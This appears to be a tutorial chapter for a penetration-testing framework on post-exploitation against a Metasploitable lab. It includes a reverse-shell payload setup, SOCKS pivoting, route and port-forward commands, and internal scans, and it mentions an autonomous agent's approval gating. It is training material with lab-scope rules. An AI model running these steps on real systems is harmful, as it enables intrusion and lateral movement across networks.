Pivot scenario (simulation). You have a shell session on
Metasploitable (
msfadmin via SSH, port
2222). The container can reach a
Post-exploitation: definition and place in the cycle
Post-exploitation begins after obtaining a session --- reverse shell,
meterpreter, SSH session or browser. It aims to:
- confirm access level (user, root, network context);
- collect information for the report (enum, configs, versions);
- assess lateral movement paths within the engagement scope;
- prepare re-testing after remediation.
KittySploit organizes post modules under modules/post/, by platform and session
type. They are used with use post/..., set session <id>, run.
Session types in KittySploit
Shell (SessionType.SHELL)
A shell session is a command execution channel on the target (bash, sh, cmd). It is the
most common type in Linux isolated test environment. post/shell/linux/ modules call
cmd_exec to run remote commands.
Meterpreter (SessionType.METERPRETER)
Meterpreter denotes an enriched session (staging, extensions, migration) inherited from the Metasploit
ecosystem. KittySploit supports it for compatibility: some post modules accept
SHELL and METERPRETER. In Linux isolated test environment practice, shell or SSH is often sufficient;
meterpreter becomes central on Windows (post/shell/windows/).
SSH session (SessionType.SSH)
An SSH session reuses an existing SSH connection as a post-exploitation channel. Useful when
initial access is a valid account (Metasploitable isolated test environment: msfadmin). Pivot modules
(socks_proxy, port_forward) detect SSH and may prefer dynamic
forwarding if ssh is available on the target.
Browser sessions
browser_sessions serve web exploitation (cookies, DOM). Outside the direct scope of
this network chapter, but listed by
sessions -l for completeness.
Managing sessions --- sessions command
sessions
sessions list
sessions access <session_id>
sessions interact <session_id>
sessions kill <session_id>
sessions kill all
Listing and identifying
sessions list
Output distinguishes standard and browser sessions. Note the UUID identifier,
type (shell, meterpreter, ssh), target, payload and timestamp.
Interacting with a session
sessions interact abc123-def4-5678-...
Opens an interactive shell. In isolated test environment, test benign commands:
id
uname -a
ip addr
cat /etc/os-release
Exit interaction without killing the session depending on your terminal behavior (often
Ctrl+] or return to the framework).
Responsible lifecycle
sessions kill abc123-def4-5678-...
sessions kill all
Isolated test environment rule: close all sessions at end of reference task. A forgotten shell on
Metasploitable pollutes subsequent reference tasks and simulates undocumented persistence.
Via SSH (simplest)
ssh msfadmin@127.0.0.1 -p 2222
Then, from KittySploit, if a listener or module creates a formal SSH session, use its
ID. Otherwise, for post reference tasks, an exploit delivering a reverse shell on the isolated test environment works:
search metasploitable
search reverse shell linux
show payloads
set payload payloads/singles/cmd/unix/python_reverse_tcp
set lhost 127.0.0.1
set lport 4444
run
sessions list
Verify myip and the Docker bridge IP if lhost 127.0.0.1 fails.
Post modules --- overview
Search
search --type post --platform linux
search enum network --type post
search pivot --type post
search gather credentials --type post --platform linux
Usage pattern
sessions list
use post/shell/linux/gather/enum_network
show options
set session <session_id>
run
Each post module declares in __info__ the accepted session_type values and
the agent block (risk, approval required).
Network enumeration from the session
post/shell/linux/gather/enum_network
Read-mostly collection module suited to early post-exploit:
use post/shell/linux/gather/enum_network
set session <session_id>
run
It lists:
- network interfaces and IP addresses;
- routing table;
- active connections;
- listening ports;
- firewall rules (iptables, nft);
- DNS configuration;
- network history (if present).
Report usage: capture subnets visible from the victim --- these are
candidates for
route add in an authorized real engagement.
post/shell/linux/gather/enum_users
Identity complement:
use post/shell/linux/gather/enum_users
set session <session_id>
run
Useful to assess escalation potential (sudo, docker groups, etc.) ---
always within isolated test environment or engagement scope.
Network pivoting --- concepts
Pivoting means using a compromised machine as a relay to a network not
directly reachable from your attack workstation. Two main mechanisms in
KittySploit:
- SOCKS proxy on the compromised machine (
socks_proxy) --- your
framework sends traffic through this tunnel; - Routes (
route add) --- the framework knows which subnet to send through
which session and which local SOCKS port to use.
Metasploit popularized this duo; KittySploit reproduces it with route_manager and
socket_wrapper so modules (scanner, auxiliary) automatically honor
the routing table.
Deploying SOCKS --- post/shell/linux/pivot/socks_proxy
Loading and options
use post/shell/linux/pivot/socks_proxy
show options
set session <session_id>
set proxy_port 1080
set proxy_type socks5
set background true
run
Internal behavior
The module attempts in order:
- SSH dynamic forwarding if
ssh is present on the target; - 3proxy or Dante (sockd) if installed;
- Python fallback --- Python SOCKS implementation on the session.
Output indicates which method was selected. In Metasploitable isolated test environment, Python fallback or
SSH is common.
Verification
From your workstation (outside KittySploit), isolated test environment only:
curl --socks5 127.0.0.1:1080 http://<internal_target_ip>/
Or run a KittySploit module after configuring route (next section).
Important: proxy_port listens on the
compromised side or is relayed depending on
implementation; consult module output. The standard pair with
route often uses
port
1080 on the operator's
127.0.0.1 after tunneling.
Routing --- route command
Syntax
route list
route add <subnet>[/cidr] <session_id> [proxy_port]
route del <subnet>[/cidr] [session_id]
route flush
Scanning via pivot
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set ports 22,80,445
set threads 10
run
Traffic transits through the session --- this is the key pivot demonstration.
Cleanup
route flush
sessions kill <session_id>
route flush uninstalls the socket wrapper if no routes remain.
Port forwarding --- post/shell/linux/pivot/port_forward
Alternative to SOCKS for a specific target:
use post/shell/linux/pivot/port_forward
set session <session_id>
set forward_type local
set local_port 8080
set remote_host 172.17.0.2
set remote_port 80
set background true
run
- local --- listens on the compromised machine, forwards to
remote_host:remote_port; - remote --- listens remotely, forwards to your network (less common in isolated test environment).
Useful to expose a single internal service (RDP, admin HTTP) without global SOCKS.
Internal scan --- post/shell/linux/pivot/scan_internal_network
This module runs discovery from the victim:
use post/shell/linux/pivot/scan_internal_network
set session <session_id>
set network_range 172.17.0.0/16
set scan_type tcp
set ports 22,80,443,445,3306
set timeout 1
run
Methods: ARP, ping, TCP, UDP (per scan_type). Combine with enum_network
to choose the correct CIDR range.
Complete pivot scenario (isolated test environment)
# Preparation
lab start metasploitable-recon
workspace use metasploitable-recon-workspace
scope add 127.0.0.1
# Initial session (example: reverse shell or formal SSH)
# ... exploit / listener ...
sessions list
# Post-exploit enum
use post/shell/linux/gather/enum_network
set session <id>
run
# SOCKS + route
use post/shell/linux/pivot/socks_proxy
set session <id>
set proxy_port 1080
run
route add 172.17.0.0/16 <id> 1080
route list
# Internal scan via framework
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set ports 22,80
run
# Or scan from the victim
use post/shell/linux/pivot/scan_internal_network
set session <id>
set network_range 172.17.0.0/24
run
# Cleanup
route flush
sessions kill all
Document each step in the workspace; pivoting in a real engagement appears in the report
as a trust boundary crossed.
Meterpreter vs shell --- operational choice
| Criterion | Shell / SSH | Meterpreter |
|---|
| Post modules | post/shell/linux/... | post/shell/windows/... |
| Pivot | socks_proxy, port_forward | Windows equivalents |
| Stability | Variable (TTY) | Often richer |
| KittySploit | Fully supported | Compatibility support |
On Metasploitable Linux, prefer shell or SSH. Reserve meterpreter for Windows scenarios
or modules explicitly requiring it in session_type.
Agent and post-exploit policies
The autonomous agent can chain post-exploitation after session creation:
agent http://127.0.0.1 --plan-only
agent http://127.0.0.1 --no-exploit
Intrusive post modules declare approval_required: True in __info__.
The agent requests human validation before socks_proxy or exploits/ modules.
In an audit, use --plan-only to document without executing.
ATT&CK integration
Pivoting touches several tactics:
attack catalog --tactic TA0008
attack show post/shell/linux/pivot/socks_proxy
Related techniques: T1572 (Protocol Tunneling), T1090 (Proxy), T1046
(discovery via pivot). Export a Navigator layer for the client output.
Evidence and reporting
For each post-exploit action in isolated test environment, record:
- session identifier and type;
- module executed (
post/shell/linux/pivot/socks_proxy, etc.); - routed subnet (
172.17.0.0/16); - result (internal host discovered, open port) --- no full dump;
- timestamp and cleanup proof (
route flush, sessions kill all).
Common mistakes
- Adding
route without active SOCKS --- opaque module timeouts. - Wrong
session_id (truncated UUID) --- copy from sessions list. - Forgetting
set session on post modules --- error or inert module. - Pivoting to real networks (Internet, office LAN) outside isolated test environment --- forbidden.
- Confusing
proxy (KittyProxy HTTP) and socks_proxy (post pivot) ---
two distinct subsystems. - Leaving
route flush and active sessions between test sessions --- pollutes peers.
{ex